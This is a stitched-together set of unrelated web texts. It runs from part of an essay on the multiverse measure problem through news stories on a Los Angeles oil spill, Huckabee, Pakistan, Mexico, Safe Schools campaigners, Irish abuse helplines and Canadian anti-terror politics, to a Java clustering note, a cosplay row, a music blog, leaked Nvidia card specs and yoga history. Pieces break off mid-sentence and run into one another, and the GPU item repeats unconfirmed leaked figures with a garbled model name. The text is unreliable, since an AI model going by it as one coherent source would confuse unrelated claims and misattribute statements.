These problems are simply more-dramatic versions of the “standard” measure problem in inflationary cosmology, which asks how to make statistical predictions in a multiverse where everything that can happen will happen, and will happen an infinite number of times. The measure problem is sometimes discussed as if it were a technical issue: something to acknowledge but then set to the side, in the hope that someone will eventually come along with some clever counting rule that solves it. To my mind, however, the problem goes deeper: it’s a sign that, although we might have started out in physics, we’ve now stumbled into metaphysics.
Some cosmologists would strongly protest that view. Most of them would agree with me that Tegmark’s Level IV multiverse is metaphysics, but they’d insist that the Level I, Level II, and perhaps Level III multiverses were perfectly within the scope of scientific inquiry: they either exist or don’t exist, and the fact that we get confused about the measure problem is our issue, not nature’s.
My response can be summed up in a question: why not ride this slippery slope all the way to the bottom? Thinkers like Nick Bostrom and Robin Hanson have pointed out that, in the far future, we might expect that computer-simulated worlds (as in The Matrix) will vastly outnumber the “real” world. So then, why shouldn’t we predict that we’re much more likely to live in a computer simulation than we are in one of the “original” worlds doing the simulating? And as a logical next step, why shouldn’t we do physics by trying to calculate a probability measure over different kinds of simulated worlds: for example, those run by benevolent simulators versus evil ones? (For our world, my own money’s on “evil.”)
But why stop there? As Tegmark points out, what does it matter if a computer simulation is actually run or not? Indeed, why shouldn’t you say something like the following: assuming that π is a normal number, your entire life history must be encoded infinitely many times in π’s decimal expansion. Therefore, you’re infinitely more likely to be one of your infinitely many doppelgängers “living in the digits of π” than you are to be the “real” you, of whom there’s only one! (Of course, you might also be living in the digits of e or √2, possibilities that also merit reflection.)
At this point, of course, you’re all the way at the bottom of the slope, in Mathematical Universe Land, where Tegmark is eagerly waiting for you. But you still have no idea how to calculate a measure over mathematical objects: for example, how to say whether you’re more likely to be living in the first 1010^120 digits of π, or the first 1010^120 digits of e. And as a consequence, you still don’t know how to use the MUH to constrain your expectations for what you’re going to see next.
Now, notice that these different ways down the slippery slope all have a common structure:
We borrow an idea from science that’s real and important and profound: for example, the possible infinite size and duration of our universe, or inflationary cosmology, or the linearity of quantum mechanics, or the likelihood of π being a normal number, or the possibility of computer-simulated universes. We then run with that idea until we smack right into a measure problem, and lose the ability to make useful predictions.
Many people want to frame the multiverse debates as “science versus pseudoscience,” or “science versus science fiction,” or (as I did before) “physics versus metaphysics.” But actually, I don’t think any of those dichotomies get to the nub of the matter. All of the multiverses I’ve mentioned—certainly the inflationary and Everett multiverses, but even the computer-simuverse and the π-verse—have their origins in legitimate scientific questions and in genuinely-great achievements of science. However, they then extrapolate those achievements in a direction that hasn’t yet led to anything impressive. Or at least, not to anything that we couldn’t have gotten without the ontological commitments that led to the multiverse and its measure problem.
What is it, in general, that makes a scientific theory impressive? I’d say that the answer is simple: connecting elegant math to actual facts of experience.
When Einstein said, the perihelion of Mercury precesses at 43 seconds of arc per century because gravity is the curvature of spacetime—that was impressive.
When Dirac said, you should see a positron because this equation in quantum field theory is a quadratic with both positive and negative solutions (and then the positron was found)—that was impressive.
When Darwin said, there must be equal numbers of males and females in all these different animal species because any other ratio would fail to be an equilibrium—that was impressive.
When people say that multiverse theorizing “isn’t science,” I think what they mean is that it’s failed, so far, to be impressive science in the above sense. It hasn’t yet produced any satisfying clicks of understanding, much less dramatically-confirmed predictions. Yes, Steven Weinberg kind-of, sort-of used “multiverse” reasoning to predict—correctly—that the cosmological constant should be nonzero. But as far as I can tell, he could just as well have dispensed with the “multiverse” part, and said: “I see no physical reason why the cosmological constant should be zero, rather than having some small nonzero value still consistent with the formation of stars and galaxies.”
At this, many multiverse proponents would protest: “look, Einstein, Dirac, and Darwin is setting a pretty high bar
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again as cleanup progressed.
Two women were transferred to a hospital and treated for nausea, Scott said.
A "handful" of businesses, including a nightclub that was evacuated, were affected, fire officials said. The pipe burst at a transfer station along a pipeline that runs from Bakersfield, Calif., to Texas.
Scott said no oil entered storm drains, which empty into the Los Angeles River.
"Business was slow anyway, this is all we need," a disgusted Monajjed said. "We didn't even know there was a pipeline here. We know now."
Read or Share this story: http://usat.ly/1gqMEbQMike Huckabee (CBS News)
Mike Huckabee thinks it’s “judicial tyranny” to order a county clerk to follow a court ruling that extends marriage equality rights to same-sex couples, but he’s not sure Syrians are fleeing the brutal “tyranny” of Islamic State militants.
The former Arkansas governor and Republican presidential candidate accused Syrian refugees of having “nefarious” or perhaps merely trivial reasons for fleeing the civil war that has devastated their home country, reported the Washington Post.
“Are they really escaping tyranny, are they escaping poverty, or are they really just coming because we’ve got cable TV?” Huckabee asked Monday during an event at the conservative Eagle Forum. “I don’t meant to be trite. I’m just saying, we don’t know.”
Huckabee falsely claimed that Saudi Arabia had offered to build 600 mosques for Muslim migrants and refugees who travel to the U.S. or Europe, when in fact, the Islamic nation had offered to build one mosque in Germany for every 100 refugees.
“I’ve got a better idea,” Huckabee suggested. “Why doesn’t Saudi Arabia host them, and we will send some assistance through our charitable organizations for some hospitals and schools? We will design the curriculum for those schools. They won’t be madrassas to teach terrorism.”
The conservative Christian politician said the United States had no moral obligation to shelter Syrian refugees, but should instead be more concerned about preserving its sovereignty from Muslim immigrants.
“That’s not a lack of Christian charity,” Huckabee insisted. “It’s the essence of charity, to provide for needs, but not to put your own children at risk, if what you’re importing could be people who have a nefarious purpose for wanting to be here.”ISLAMABAD, Pakistan — All cellphone coverage was blocked by the government for three hours one recent afternoon in the Pakistani capital, and it did not take people long to discover why: Maulana Abdul Aziz, the radical preacher of the Red Mosque, was sermonizing again.
Barred from giving sermons in the mosque, the scene of an army siege on extremists that killed as many as 75 people in 2007, Mr. Aziz had announced that he would relay his latest Friday sermon by cellphone, calling aides at the mosque who would rebroadcast it over the mosque’s loudspeakers.
But instead of arresting the jihadist preacher, as many moderate Pakistanis would like, the authorities simply turned off the city’s cell networks last Friday from 11 a.m. to 2 p.m., the traditional time for Friday Prayer, according to senior Pakistani officials, speaking on condition of anonymity because they were not authorized to talk to the news media.
Mr. Aziz’s relative untouchability is a measure of how enduring the power of militant Islamist ideology has remained in Pakistan. Even as the Pakistani military has driven some jihadist groups out of business or into hiding over the past year, other technically banned jihadist or sectarian groups like Lashkar-e-Taiba and Ahle Sunnat Wal Jamaat are still thriving, with little apparent effort by the government or military to curb them.Terracotta DSO works by manipulating the byte code of your classes (and the JDK's classes etc). The instructions on how and when to do this are part of the Terracotta configuration file.
The bytecode modification looks for certain byte codes such as a field read or write or a monitor enter or exit. Whenever those instructions occur, code is added around that location that does the appropriate action in the distributed store. For example when a monitor is obtained due to synchronization, a distributed lock is obtained as well (whether it is a read or write lock is dependent on the configuration). If a field in a shared object is written, the distributed system must verify that a write lock is being held and then send the data value is sent to the clustered server, which stores it on disk or shares it over the network as appropriate.
Note that Terracotta does not share the entire heap, only the graph of objects indicated by the configuration. In general, there would be little point in sharing an entire heap. It is better instead for the application to describe the domain objects needed across the distributed application.
There are many optimizations employed to make the operations above efficient: only field deltas are sent over the wire and in a form much more efficient than Java serialization, many deltas can be bundled and sent in batches, locks are actually "checked out" to a particular client so that if the application data is partitioned across clients, most distributed locks are actually a local operation not involving a network call, etc.Image caption Mr Allison completed the challenge in memory of his mother, father and brother
A County Durham man has completed a 3,100-mile run across the USA in memory of his father and brother.
It has taken Mark Allison 100 days to run from California to New York, doing an average 30 miles a day. He has lost 5st (31kg) on the way.
Mr Allison left Huntington Beach, near Los Angeles in California, at the start of May and arrived at the pier of Coney Island on Tuesday at 02:10 local time.
He has raised more than £55,000. The runner said the final day was "tough".
'Safely through'
Mr Allison, a Northern Rock IT contractor, said he used to be an "18st obese Geordie who loved bacon sandwiches, football and pies", before becoming a charity runner.
He added: "The USA run brought [that] to a successful end.
"Thanks to the NYC Toon Army supporters branch for helping me through the last 13 miles and to Carlton Fletcher for navigating me safely through to Manhattan."
His route has taken him through 13 states: California, Nevada, Arizona, Utah, Colorado, Kansas, Missouri, Illinois, Indiana, Ohio, Pennsylvania, New Jersey and New York.
He has run in all kinds of conditions, including snow and desert temperatures of 46C (115F).
His trek across the US is the equivalent of 236 Great North Runs.
The marathon challenge was in memory of his mother who died in 1995, father Terry, who died of cancer in 1988, and his brother David, who died from a brain haemorrhage in 1998.
'Tired and anxious'
In the summer of 2007, Mr Allison ran 874 miles from John O'Groats to Land's End in 37 days.
The runner has kept supporters informed during the challenge via Twitter, a blog and his website.
He has also been dedicating daily miles in memory of the loved ones of his friends and supporters.
On Day 99, Mr Allison wrote: "I'm writing this one while having my breakfast in Phillipsburg, New Jersey. My feet are in a right state and I'm very tired and anxious.
"I'm hanging on in there, though, with only 96 miles to go to the finish line. Thank you to everyone who has made a donation.
"Today's miles are in memory of Nora Holland."
The money raised will go towards St Benedict's Hospice and The Children's Foundation.How much of a good thing is, well, too good? That’s the basic premise behind the debate surrounding a voluptuous Taiwanese model recently marked as “too sexy for cosplay.”
While the goal of any cosplay is to portray your character to the best of your ability, just where should fans draw the line when it comes to dressing as characters whose special ‘assets’ may bring some questionable costumes into the real world? We welcome your thoughts on the matter after reading through this recent cosplay incident.
The source of the debate occurred at a cosplay event on August 16 in Taichung City, Taiwan when 23-year-old bikini model and self-professed lover of anime Ma You Rong (馬友蓉) decided to attend dressed as one of her own favorite characters–Naruto‘s butt-kicking kunoichi (female ninja), Tsunade.
For those of you unfamiliar with Masashi Kishimoto’s internationally best-selling work (which celebrates its 15th anniversary this year!), Tsunade is a perpetual fan favorite who’s highly skilled in medical ninjutsu and also possesses brute physical strength to boot. As one of the ‘Three Legendary Shinobi’ from Konohagakure Village, she’s actually an older woman who uses a technique to mask her true age and outwardly appears as a young woman instead. But most importantly, she’s currently the Fifth Hokage (village leader) of Naruto’s hometown and mentor to the series’ main female protagonist Sakura. She’s also famous for her explosive temper, and her other, shall we say, ‘well-endowed’ attributes.
▼Don’t let her looks deceive you–this is what she’s really capable of!
▼And here we have Ma You Rong’s take on Tsunade:
Needless to say, her appearance at the venue caused quite the excitement. The resemblance between fictional, 2-D character and living, breathing human being is beyond uncanny–it’s dead-on. And we’re not just talking about that blonde wig she’s wearing.
But here’s where things start to get a little hairy. Reportedly, staff members with large black cloths were on hand at the event to escort any ‘distasteful’ cosplayers away from the public. While the day eventually ended without a hitch, after the fact a staff member supposedly criticized Ma You Rong’s ‘outrageous appearance’ online, to which the shocked cosplayer voiced her objections, touching off the start of an intense battle of thoughts.
Since she’s a bikini model by profession, one of the main arguments against Ma You Rong (besides being too hot to handle) is that her choice of cosplay outfit seemed too much like personal marketing for a cosplay event, which is supposed to be a place for fans to display their love of certain characters and not to advertise for business. It didn’t help that she was often seen lowering one of the sleeves of her tunic over her shoulder for nearby photographers. On the other hand, others see no problem with her costume, as one of the goals of serious cosplay is to represent your character in real life as well as possible, a task which Ma You Rong certainly does to perfection.
Here are some photos of her from the event. There’s even a YouTube clip available:
▼Here are some of Ma You Rong’s other past cosplays:
▼Ma You Rong is the Goku cosplayer on the left
Which school of thought do you belong to regarding Ma You Rong’s Tsunade cosplay? We know one thing for sure–we’d sure rather look at her dressed as Tsunade than Mr. Sato’s version any day!
Original article by Meg Sawai
Sources: ET Today 1, 2, Apple Daily, Facebook
Top image: ET Today
Insert image: Narutopedia
[ Read in Japanese ]Mexico : President Enrique Pena Nieto again rejected Donald Trump's demand that Mexico pay for a wall along the border, but he vowed to seek good relations with the US president-elect.
Hours after Trump repeated his warnings against Mexico during a press conference, Pena Nieto said his government will seek "open and complete negotiations" with the next US government.
"Everything that defines our bilateral relations is on the table, including security, migration and trade," he told an annual meeting of Mexican ambassadors at the National Palace.
"At no time will we accept anything that goes against our dignity as a country and our dignity as Mexicans," he said. "It is obvious that we have some differences with the next government of the United States, like the issue of the wall that Mexico of course will not pay for," Pena Nieto said as diplomats applauded.
"What I can assure you is that we will work to have a good relationship with the United States and its president."
Trump said he could impose a "tax" on Mexico to fund the wall, which would first be paid for with funding arranged through the US Congress.
While the Republican billionaire did not mention his previous threat to tap into the remittances Mexican migrants send back home, Pena Nieto said he would work to "maintain the free flow of remittances."
Turning to the North American Free Trade Agreement (NAFTA), which Trump wants to renegotiate, Pena Nieto said his country will seek an agreement that gives "certainty" to investments.
In a thinly veiled reference to Trump's vow to impose a 35 per cent tariff on companies that ship jobs to Mexico, the Mexican leader said his government rejects any attempt to influence foreign investors "on the basis of fear or threats."
Pena Nieto issued his own demands to the incoming administration, which takes office on 20 January.
He renewed Mexican demands that the US government stop the illegal trafficking of guns from the United States to Mexico, which the southern neighbour has blamed for fueling drug violence for years.
Pena Nieto also said the United States needs to block the flow of money from illegal proceeds that fund organised crime.
Referring to Trump's vow to deport millions of undocumented immigrants, Pena Nieto said any repatriation must "continue in an orderly and coordinated" manner to "guarantee the humane treatment and the respect of the rights of Mexican migrants."
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.The thing I like most about creativity is that there are no right or wrong answers. I like how the same piece of music can sound beautiful to one person and ugly and uninspired to another because it all revolves around a frame of reference. The title of this entry is rather a pretentious quip because you don’t think about listening to music while you’re listen to it, you just feel it and maybe you can’t even explain why. I like that.
I like that there isn’t a singular concrete correct solution disguised as a formula or hidden in a method and unless you unlock the key or crack the code, all differing answers are dead wrong – counted as marks against you, circled in red ink. Naturally I can only speak for myself but this is why I can somehow wrap my head around music, both the creation and admiration of it, much easier than I can the emotionless intricacies of math – which have always had me banging my head against the wall. Everyone processes differently and I love knowing for some there is endless joy in creativity, for others, in solving problems or making things work. That’s what makes music great; what connects with one listener may not connect in any way with another. I like that art is rarely neutral because it’s so subjective.
However, I’ve noticed something over the course of the past fifteen years as a music fan, as someone who’s gone through the typical teen angst phases of the avid young music consumer. I was a junior high kid who only liked certain bands and songs because that’s what everyone else was into and I found some sort of sincere joy in knowing the music I listened to was popular, and somehow it was a real and genuine admiration. Then I was a high school recluse who only appreciated music that was obscure or unpopular merely for the sake of being associated as an outsider and it wasn’t until later that I realized some of what I “loved” was not born of an inherent love at all, and thus it wasn’t even about the music. How funny is that? Making yourself believe you love something only because of the way it makes you appear to others. You hate the herd because it’s a “total clique” and nobody understands you, so you go off by yourself and do your own thing because you want to make a statement, but what you’re doing is creating an entirely different clique of its own which you’ll soon become bored with and break away from in pursuit of the next thing until you realize it’s all a waste of time. You realize you must simply enjoy what you enjoy for exactly what it is rather than how it looks to others. Maybe you call it “the scene” and maybe some people embrace it because they think it’s awesome, and others hate it solely based on the knowledge that people they don’t like associate themselves with it. I totally did that stuff in junior high/high school. My question is: why.
I’ve always sort of hopped from one stone to another across a stream of conscious and unconscious appreciation for the emotion and artistic integrity of music as an art form, that is to say, I’ve always latched onto one thing for awhile (a music era or genre) and then moved on to the next thing, but mostly because I have a short attention span and that’s the way I’m wired. Over the past ten years I’ve somehow learned to not take so much stock in whatever it is I’m listening to solely as a music person or an artist, or rather how it looks on the outside. I don’t even care anymore, thus I’ve learned to enjoy whatever it is for the value it contains and hopefully not for the wrong reasons. Suddenly everything becomes clear and real and true and twice as beautiful because it’s genuine and you’re finally content with liking what you like, and not because of how people might think of you liking it. Maybe you still hate whatever’s on the radio but it’s an honest dislike and not prejudiced or biased because you’re annoyed with the kind of people who only love what’s on the radio. I feel like this is a rationality that comes with age, and maybe it’s lost on most people who didn’t grow up as music kids. Thoughts just pop into my head and I type them out and put them on the internet.
I used to catch myself listening to a song I’d never heard before, WISHING it would do this or that while I was actually studying it – maybe change to a different chord in a certain place or lyrically touch on an emotion, even down to tempo or the singer singing certain words – which makes listening to (albeit appreciating) music as an art form, with self-imposed restrictions, a setup for disappointment. Regardless of taste or preference, you are willing it to do something it wasn’t intended to do because whoever created it was not you yourself. For me, it seems listening to a song I’ve never heard before and somehow wanting it to do or be something it isn’t, because of unrealistic expectations, is always a letdown because it goes against the nature of appreciating the art of another artist. I like when you learn how to listen to music in a way that allows you to go along for the ride and the let song carry you whether it’s to your personal taste or not. If you try to make a song created by another artist do what you want while you listen to it, you’ll end up hating everything you hear and then it’s not even about the music at all anymore and then you become angry and bitter and arrogant until you eventually get a job as a writer for Pitchfork.
Only over the past decade have I better learned how to listen to music, if you can call it that, and really appreciate or respectfully dislike whatever it is for whatever it’s worth, whether I prefer the way it sounds to my ears or whether I myself in the shoes of the given artist would’ve made different creative choices. That to me is when everything suddenly comes alive because now you’re listening with a new point of reference, a new frame of mind, and it makes whatever you’re hearing enjoyable subjectively because you’ve got an objective frame of reference. I suppose it all boils down to the universal idea that learning to be more openminded (without compromising in any way morally or ethically) can allow you to appreciate more colors than you ever thought existed on the palette. I feel like we have a way of limiting ourselves in the way we appreciate creativity, whatever the medium. For music, thinking this way doesn’t mean you suddenly love everything you hear – maybe it’s even the opposite – but it means you listen to what you listen to with a pure admiration and respect for exactly what it is instead of how it makes you look to other people. Not because a certain type of people are associated with it, not because you want to like it even if you don’t, not because you’re the friend who always introduces everybody to new music and when people start listening to it, you bail. You listen to it because you think it rules.
Sometimes people ask me what’s on my iPod that I consider a “guilty pleasure” and I never know how to respond because what I listen to is what I enjoy and I don’t care about deciding something I like is “awkward or uncool” because of who or what it associates me with by default. The whole idea of having a “guilty pleasure” musically has always been weird to me. Why should I feel guilty about liking something I genuinely enjoy? Unless it’s something you deem “immoral” according to your own personal beliefs or set of standards, which is totally up to you – beyond that, a “guilty pleasure” is about you being embarrassed of something you shouldn’t be.
What’s really crazy is the thought of my own music and the way people listen to it – how they listen to it – what goes on in the inner workings of the mind when they hear it – why some people “like it” and for what reasons – why some people “hate it” and for what reasons. It’s an amazing thing to mull over because it can be so psychological for people like myself, and at the same time, so simple to others. I like hearing some people say they are “nervous” after reading my description of the new record sounding different, or how others love the idea of taking leaps and getting surprised with something new. I like how some people can love my music, I like how some people can hate it, I like how some people don’t even care.
It’s music. There’s no right or wrong answer. I love it.specs are finally out, thanks to a leak dug up by Lenzfire. We already spoke about some upcoming cards, but the leaked chards now paint a more or less full picture of Nvidia’s upcoming architecture.The Kepler series will consist of three cores, which will be the building blocks for seven cards, including a dual-GPU card.The GK106 is a mainstream part and it will power the GTX 640 and GTX 650. The GTX 640 packs 192 stream processors, 16 ROPs, 128-bit memory bus and a memory bandwidth of 88GB/s. The GTX 650 promises to deliver quite a bit more performance, as it has 256 cores and a 192-bit memory bus, enough for 132GB/s worth of memory bandwidth. Interestingly, the GTX 640 will feature 2GB of memory, while the GTX 650 will end up with 1.5GB. The clocks are 850MHz and 900MHz respectively. In terms of performance, Nvidia reckons the new cards will be on par with GTX 550Ti and GTX 560 cards. The price points for GK106 series cards are $139 for the 640 and $179 for the GTX 650The GK104 will probably be the card of choice for most consumers. This mid range part will also come in two flavours, the GTX 560Ti with a 224-bit bus and the GTX 660 with a 256-bit bus. The GTX 560Ti ends up with 448 cores, 850MHz clock and 154GB/s of bandwidth. It will pack a rather awkward 1.75GB of memory and the price stands at $249. The GTX 660 will feature 2GB of memory and a 900MHz clock, but it will also be significantly pricier at $319. However, Nvidia expects the latter to match the GTX 580 in the performance department, so the price looks pretty good. The GTX 560Ti should be neck and neck with the GTX 570, which sounds pretty good for $249.As for the big guns, the GK110 will end up in four cards, including the dual-GPU GTX 690. It will cost a whopping $999 and it will launch in Q3, so let’s focus on single GPU cards for the time being. The GTX 660Ti is said to feature an 850MHz clock, 768 stream processors, 1.5GB of memory and a 384-bit bus. It should cost €399 when it launches in Q2/Q3 and Nvidia claims it will be about 10 percent faster than the HD 7950. The GTX 670 ends up with 1.75GB of memory, 896 cores and a 448-bit bus, all for $499. Nvidia pits this one against the HD 7970 and it claims it is about 20 percent faster. The flagship GTX 680 packs 2GB of memory, 1024 cores and a 512-bit bus. Nvidia wants $649 for it, but then again it claims the GTX 680 should beat the GTX 7970 by 45 percent.Too optimistic? Well only time will tell. The GTX 670 and GTX 680, along with the GTX 660 should launch on April 12, giving AMD a comfortable lead in the meantime. Of course, in-house performance projections should always be taken with a grain of salt, but at this point it seems AMD will lose the performance crown come April. However, with some price cuts AMD should be able to compete with Kepler in terms of value for money. Also, bear in mind that AMD will also introduce its dual-GPU card in early Q2.More hereAnti-Safe Schools campaigner and Liberal member Marijke Rancie. Rancie's claims have been disputed by the Victorian Education Department but if clicks are anything to go by, there's no doubt her video has struck a chord since it was uploaded on her Facebook page "Politicalpostingmamma", and later on an anti-Safe Schools website called You're Teaching Our Children What. But why does this supposedly parent-driven website have the same server and registrar as the Australian Christian Lobby? Why has there been a sudden resurgence in campaigning activity against Safe Schools in recent months: from travelling roadshows and viral posts, to angry letters to principals and politicians? And should Rancie have disclosed on the video that she's a Liberal Party member, part of growing network of so-called "mumma warriors" who are waging what critics claim is essentially a right-wing political war dressed up as a "grassroots" movement? In the corridors of power at Spring Street, in the suburban branches of Liberal heartland, and in the meeting rooms of the party's Exhibition Street headquarters, a stoush over the party's internal culture has been brewing for months.
At its centre is Marcus Bastiaan, the charismatic 27-year-old who has made it his mission to re-energise the Liberals' conservative base through a membership drive targeting everyone from Mormons and Evangelical Christians to Probus and ethnic community groups. Safe Schools, according to one Bastiaan ally, has been "a good recruitment tool". Marcus Bastiaan has made it his mission to re-energise the Liberals' conservative base. Credit:video still supplied Rancie, a born again Mormon, signed up to the party 17 months ago, one of many recent converts to the Liberal cause. Joining her on the new frontline are several others with links to the party or the religious right. This includes teacher Moira Deeming, a former Liberal candidate; former councillor Christine Stow, who recently ran a Safe Schools "information session"; and Melbourne mother Cella White, whose story about pulling her son out of Frankston High School in protest of Safe Schools has been heavily promoted by the ACL. Another Liberal member, Vikki Fitzgerald, was also behind a leaflet distributed in Education Minister James Merlino's electorate in May, purporting to be from a group of concerned constituents, going by the name of the Parents Speaking Out Group.
Facebook posts show a number of the women campaigning in Melbourne's east for federal MP Michael Sukkar, a staunch conservative who recently headlined an anti-Safe Schools forum for the Chinese community at the Liberal Party's head office. Marijke Rancie (far right) and fellow Liberals campaigning for federal MP Michael Sukkar. The event, also attended by state president Michael Kroger, was advertised in Chinese media groups, and included a flyer falsely claiming that Safe Schools "educates children by teaching them to act like homosexuals and bisexuals, so that they will conform to new age ideas of gender". This session was just one of many. Another recently took place at the Cranbourne Golf Club, featuring right-wing upper house MP Inga Peulich as a key speaker. A similar forum was held in late June at the Bendigo Baptist Church, attended by Bastiaan, his pro-life wife Stephanie, and conservative physician Ivan Stratov. Stratov used his keynote speech to lash Safe Schools, as well as abortion, euthanasia, and marriage equality. The Bastiaans used the event to garner support for the party more broadly.
In a statement to Fairfax Media, Rancie says she had never been interested in joining a political party "until Safe Schools invaded my kids", and that she posted her video "out of sheer frustration" because no one seemed to know what it was really about. "[It's] a Trojan horse for transgender activism and gender theory and not really an anti-bullying program at all," she says. "The feedback has been incredibly supportive, apart from a few activists who are childless and seem to have a clear agenda." But others say the latest campaign isn't just politically motivated and filled with homophobic falsehoods, it's also doing "untold damage" to LGBTI children and their families, already reeling from the federal debate over marriage equality. "We are really hurting," said Jo Hirst, the mother of a transgender child and the author of the children's book The Gender Fairy. "The voices of these groups are loud and insistent, but what they say is factually incorrect. I understand that the parents of Australia have a lot of voting power. But when you know 50 per cent of transgender children will attempt suicide if not supported, can you ethically justify spreading misinformation? Is a vote worth a child's life?"
Jo Hirst launches her book Credit:Eddie Jim Meanwhile, schools have also found themselves in the firing line. Frankston High School principal John Albiston receives a steady stream of emails from people opposed to the program, including members of the Australian Christian Lobby and Rise Up Australia. The emails started when Cella White withdrew her 14-year-old son from Frankston High last year and publicly claimed that a teacher had told him that he could wear a dress to school. Mr Albiston denies this. He says that if he had overhauled the school's uniform policy he would have received complaints from other parents. "We were under attack," he explains. The school's phone lines were inundated with angry callers – none of whom had a connection to the school. "It seems to be more of an adult issue. It's not an issue for kids."
Cella White, backed by Christian Lobby, has been an outspoken critic of Safe Schools. Back at the Liberal Party, the battle continues. As one insider explained this week, Safe Schools has become a powerful drawcard in an increasingly fickle political climate, where people are more likely to join parties on a single issue rather than on brand loyalty. But while the program may be bringing new members, it is also causing some internal rifts. Twelve months after Guy announced he would replace Safe Schools with a "genuine anti-bullying alternative", some Liberals are angered there has been no policy work done. Others accuse him of being soft on these issues. The matter has become such a sensitive topic within sections of the party that a new Liberal Pride group – headed by federal Minister Christopher Pyne's adviser, Rory Grant – recently met with state education spokesman Nick Wakeling to raise concerns about the lack of policy direction. As one well-placed source told Fairfax Media after the meeting: "The last thing we want to see is LGBTI students being placed at risk." As for Rancie and her "mumma warriors", they're not going anywhere. Deeming says LGBTQI students had been "betrayed" by the makers of Safe Schools, "who have clearly used it as a ruse to sneak erotic sexualised content that has nothing to do with bullying into the classroom."
Rancie agrees. "The deception from the department of education is completely despicable," she says, "and I look forward to exposing them more." True or False? Marijke: "Safe Schools is teaching your children anal sex and anal sex positions." Department: Safe Schools is not a sex education program, nor does it teach sexual practices. Marijke: "The safe schools program teaches children that there are 63 types of genders."
Department: The Safe Schools program does not teach this. Marijke: "Is not and never was an anti-bullying program." Department: It is a sad reality that LGBTI young people are more likely to be bullied at school than elsewhere and this has a major impact on their educational outcomes. Safe Schools provides information and resources to schools to raise understanding and awareness of sexual and gender diversity. Marijke: "His friends in year 8 had come out and told him that a teacher had shown him a dildo." Department: The Department of Education and Training provides evidence-based information, written resources and professional learning for school staff to use as they see fit to support schools to prevent, and respond to, discrimination against LGBTI students. These resources do not include props.Eddie Holt: Inside the minds of the harshest, abusive Christian Brothers: Click here
Thousands march in support of Irish abuse victims: Click here
Irish Americans shocked and outraged at Irish child abuse report: Click here
Irish victims of abuse in Church-run institutions have inundated abuse helplines with phone calls since the publication of the Ryan Commission report of clerical abuse of children in Ireland.
Under-staffed and under-funded Irish support services are overwhelmed by the record numbers of child abuse victims seeking help, and are requesting emergency government funds to meet the demand.
Maeve Lewis, executive director of the One in Four support group, which helps abuse victims with prosecutions against offenders, told the Irish Examiner: “It’s been absolutely relentless. We thought it would calm down after a couple of weeks, but it hasn’t.
"The report has unleashed an absolute avalanche of people [seeking help]. The media coverage has re-triggered a lot of memories."
Lewis and her advocacy service are seeking a meeting with Ireland’s Children’s Minister Barry Andrews in search the aid they say they need to provide abuse victims with the support they need. The group has been contacted by 300 victims in the past weeks, more than half the calls they typically receive in an entire year.
Meanwhile, the Dublin Rape Crisis Center’s phones are constantly ringing off the hook with child abuse victims seeking help. The organization has had to endure the surge in public need while at the same time accepting pay cuts of between 3 and 10 percent.
Chief Executive Ellen O’Malley-Dunlop told the Examiner: "Money is extremely tight. Services are stretched. Our lines are just kept going. We’ve had a threefold increase in calls for this time of year."
The revelation of the need for increased funding for abuse support groups came as the Dáil (Irish Senate) wrapped up a two-day motion in which they promised to protect all Irish children.
Irish President Mary McAleese plans to meet with 250 abuse victims on June 28, and Archbishop Diarmuid Martin has said he and other bishops plan to meet survivors to offer them help and support.‘People are afraid’ Health minister switches to terrorism during health speech
CALGARY - Federal Health Minister Rona Ambrose made an unexpected leap Friday from talking about health-care innovation to fears over the threat of the Islamic State.
Ambrose was discussing health care in a speech to the Calgary Chamber of Commerce when she abruptly changed topics.
"We're also proud of our record of making careful, principled choices reflecting the values of Canadians whether it's economic and financial security or creating and protecting jobs but also keeping Canada and Canadians safe in a dangerous and an uncertain world," Ambrose said.
"I know it's on a lot of people's minds and the truth is we are again at war with a very dangerous enemy, ISIL's campaign of what is unspeakable atrocities, whether it's beheadings or rape or slavery on the most innocent of people including women and children."
Her comments come as Ottawa pushes ahead with Bill C-51, which seeks to increase the powers of police and spy agencies in the name of fighting terrorism.
Ambrose lauded actions the Conservative government is taking, including changes to the Citizenship Act as well as the new anti-terrorism bill.
"We don't believe the Canadian government should ever sit on the sidelines — we didn't in Afghanistan and we won't in Iraq while our allies are actually acting to deny these terrorists a safe haven to plot against us," Ambrose said in a three-minute segment.
"Canada has been attacked now twice on our own soil. We won't allow Canadians to live in fear of going to West Edmonton Mall or allow our own citizens to travel abroad for terrorists purposes to actually fight our own soldiers and own allies."
The Conservatives brought in the bill — which would significantly expand the Canadian Security Intelligence Service's mandate — following the daylight murders of two Canadian soldiers last October.
The bill would give CSIS the ability to disrupt terror plots, make it easier to limit the movements of a suspect, expand no-fly list powers, crack down on terrorist propaganda, and remove barriers to sharing security-related information.
The House of Commons public safety committee plans to hear from more than 50 witnesses on the bill beginning next month.
Opposition MPs have repeatedly criticized the government for boosting security powers in the legislation but not giving watchdogs more bite.
Ambrose said her discussion about terrorism was not part of a strategy where the government is encouraging MPs to tout the new legislation.
"No. Not at all. It's just at the top of everyone's mind. It's what my parents ask me about. It's what I get asked about everywhere I go," she told reporters.
"People are afraid. I mean, I'm from Edmonton. We just had a direct threat on West Edmonton Mall by a terrorist entity. This is something that is topical and people want to know what's happening. It's important to let Canadians know what we're doing on the terrorism issue because people are afraid and people are worried."
Follow @BillGraveland on TwitterLed Zeppelin's plagiarism trial over the authorship of "Stairway to Heaven" moved into its sixth day, and singer Robert Plant took the stand to stretch his memory on whether or not he saw the band Spirit perform at a club back in the day.
Plant and Zeppelin guitarist Jimmy Page are on trial for allegedly stealing the guitar intro to the band's classic 197
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as the sisters of practitioners.
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Hatha originated as a way to speed the Tantric agenda. It used poses, deep breathing and stimulating acts — including intercourse — to hasten rapturous bliss. In time, Tantra and Hatha developed bad reputations. The main charge was that practitioners indulged in sexual debauchery under the pretext of spirituality.
Early in the 20th century, the founders of modern yoga worked hard to remove the Tantric stain. They devised a sanitized discipline that played down the old eroticism for a new emphasis on health and fitness.
B. K. S. Iyengar, the author of “Light on Yoga,” published in 1965, exemplified the change. His book made no mention of Hatha’s Tantric roots and praised the discipline as a panacea that could cure nearly 100 ailments and diseases. And so modern practitioners have embraced a whitewashed simulacrum of Hatha.
But over the decades, many have discovered from personal experience that the practice can fan the sexual flames. Pelvic regions can feel more sensitive and orgasms more intense.
